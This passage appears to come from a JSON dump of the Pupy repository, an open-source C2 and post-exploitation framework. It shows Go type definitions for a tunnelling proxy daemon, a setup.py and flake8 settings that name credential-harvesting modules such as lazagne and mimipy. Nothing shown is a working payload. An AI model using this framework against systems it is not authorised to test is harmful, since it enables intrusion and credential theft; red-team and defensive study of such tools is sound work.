    "content": "package main\n\nimport (\n\t\"net\"\n\t\"sync\"\n\n\t\"time\"\n\n\tdns \"github.com/miekg/dns\"\n\trc \"github.com/paulbellamy/ratecounter\"\n)\n\ntype (\n\tConn struct {\n\t\tin    chan []byte\n\t\tout   chan []byte\n\t\tclose chan bool\n\t}\n\n\tKCPConn struct {\n\t\tnet.Conn\n\t\tlocalId     [4]byte\n\t\tremoteId    [4]byte\n\t\tinitialized bool\n\t\tnew_sent    bool\n\t}\n\n\tListener struct {\n\t\tListener net.Listener\n\t\trefcnt   int\n\t}\n\n\tListenerProtocol int\n\tBindRequestType  int\n\n\tPortMap struct {\n\t\tFrom int\n\t\tTo   int\n\t}\n\n\tBindRequestHeader struct {\n\t\tProtocol ListenerProtocol `msgpack:\"prot\"`\n\t\tBindInfo string           `msgpack:\"bind\"`\n\t\tTimeout  int              `msgpack:\"timeout\"`\n\t\tMTU      int              `msgpack:\"mtu\"`\n\t}\n\n\tDNSRequest struct {\n\t\tName string\n\t\tType string\n\t\tIPs  chan []string\n\t}\n\n\tDNSCacheRecord struct {\n\t\tResponseRecords []dns.RR\n\t\tLastActivity    time.Time\n\t}\n\n\tConnectionAcceptHeader struct {\n\t\tExtra      bool   `msgpack:\"extra\"`\n\t\tLocalHost  string `msgpack:\"lhost\"`\n\t\tLocalPort  int    `msgpack:\"lport\"`\n\t\tRemoteHost string `msgpack:\"rhost\"`\n\t\tRemotePort int    `msgpack:\"rport\"`\n\t\tError      string `msgpack:\"error\"`\n\t}\n\n\tDNSListener struct {\n\t\tConn net.Conn\n\n\t\tDomain string\n\n\t\tDNSCache    map[string]*DNSCacheRecord\n\t\tUDPServer   *dns.Server\n\t\tTCPServer   *dns.Server\n\t\tDNSRequests chan *DNSRequest\n\n\t\tprocessedRequests sync.WaitGroup\n\n\t\tdnsRequestsCounter          *rc.RateCounter\n\t\tdnsRemoteRequestsCounter    *rc.RateCounter\n\t\tdnsProcessedRequestsCounter *rc.RateCounter\n\n\t\tcacheLock sync.Mutex\n\n\t\tactiveLock sync.Mutex\n\t\tactive     bool\n\n\t\tpendingRequests int32\n\t}\n\n\tDaemon struct {\n\t\tAddr string\n\n\t\tDNSLock     sync.Mutex\n\t\tDNSCheck    sync.Mutex\n\t\tDNSListener *DNSListener\n\n\t\tListeners     map[int]*Listener\n\t\tListenersLock sync.Mutex\n\n\t\tUsersCount int32\n\t}\n\n\tIPInfo struct {\n\t\tIP string `msgpack:\"ip\"`\n\t}\n\n\tExtra struct {\n\t\tExtra bool   `msgpack:\"extra\"`\n\t\tData  string `msgpack:\"data\"`\n\t}\n\n\tTLSAcceptorConfig struct {\n\t\tCACert string `msgpack:\"ca\"`\n\t\tCert   string `msgpack:\"cert\"`\n\t\tKey    string `msgpack:\"key\"`\n\t}\n\n\tKeepAlive struct {\n\t\tTick int64 `msgpack:\"keepalive\"`\n\t\tLast bool  `msgpack:\"last\"`\n\t}\n\n\tNetReader struct {\n\t\tmtu  int\n\t\tin   net.Conn\n\t\tout  net.Conn\n\t\terr  error\n\t\twait chan error\n\t}\n\n\tNetForwarder struct {\n\t\tpproxy net.Conn\n\t\tremote net.Conn\n\t}\n)\n\nconst (\n\tINFO ListenerProtocol = 0\n\tDNS  ListenerProtocol = iota\n\tTCP  ListenerProtocol = iota\n\tKCP  ListenerProtocol = iota\n\tTLS  ListenerProtocol = iota\n\n\tKCP_NEW = 0x0\n\tKCP_DAT = 0x1\n\tKCP_END = 0x2\n)\n"
  },
  {
    "path": "setup.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: UTF8 -*-\n\nfrom setuptools import setup, find_packages\nimport os\nimport sys\n\nrequirements = [x.strip() for x in open(\"requirements.txt\", \"r\").readlines()]\n#requirements = [f\"{line.split('#egg=')[-1]} @ {line}\" if \"#egg=\" in line else line for line in requirements]\n\nsetup(\n    name='pupy',\n    version='3.0.0',\n    packages=find_packages(where='.', include=['pupy*']), \n    package_data={'pupy': ['conf/**', 'external/**', 'packages/**', 'library_patches_py3/**', 'library_patches_py2/**']},\n    license_files = ('LICENSE'),\n    author='n1nj4sec',\n    author_email='contact@n1nj4.eu',\n    description='Pupy C2 is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool in python',\n    #long_description='Pupy C2 Framework',\n    #long_description_content_type='text/x-rst',\n    url='https://github.com/n1nj4sec/pupy',\n    keywords=[\"python\", \"pentest\", \"cybersecurity\", \"redteam\", \"C2\", \"command and control\", \"post-exploitation\"],\n    entry_points={\n        'console_scripts': [\n            'pupysh = pupy.cli.pupysh:main'\n        ]\n    },\n    install_requires=requirements\n)\n"
  },
  {
    "path": "tox.ini",
    "content": "[flake8]\n# This style things should be fixed with time.\n# They should be ungnored one-by-one and fixed.\n\n# E722 -- Should be fixed somehow\n\n# W606 - Rpyc (at least old) incompatible with Python3.7\n\n# !!! DO NOT ADD ANY NEW EXCEPTION HERE !!!\n\nignore = E722,\n       E501,E402,\n       E241,E221,E211,E222,E225,E226,E227,E272,E231,\n       E251,E265,E302,E225,E305,E303,\n       E228,E127,E128,E129,E502,E271,E261,E261,E262,\n       E122,E123,E124,E125,E126,E131,E121,E226,E266,E242,\n       E731,W606\n       \n\nper-file-ignores =\n\t# X509 standard names are short\n\tpupylib/PupyCredentials.py: E741\n\n\t# FIXME: add proper __all__ statement\n\tpackages/windows/all/pupwinutils/hookfuncs.py: F401\n\tnetwork/lib/__init__.py: F401\n\tnetwork/lib/transports/cryptoutils/pyaes/__init__.py: F401\n\n\t# Large stolen file\n\tpackages/windows/all/wmi.py: E111\n\n\t# Legacy formatting\n\tnetwork/lib/transports/cryptoutils/pyaes/aes.py: E201,E202,E222,W504\n\n\t# False positive\n\tpackages/all/fsutils.py: F811\n\nexclude =\n\tconf\n\tcrypto\n\tdata\n\texternal\n\tlibrary_patches\n\toutput\n\tpayload_templates\n\tproxy\n\twebstatic\n\tpackages/patches\n\t# deprecated\n\tnetwork/lib/streams/PupyAsyncStream.py\n\t# symlinks (travis workaround)\n\tpackages/linux/all/lazagne\n\tpackages/linux/all/mimipy.py\n\tpackages/linux/all/beroot\n\tpackages/windows/all/beroot\n\tpackages/windows/all/lazagne\n"
  }
]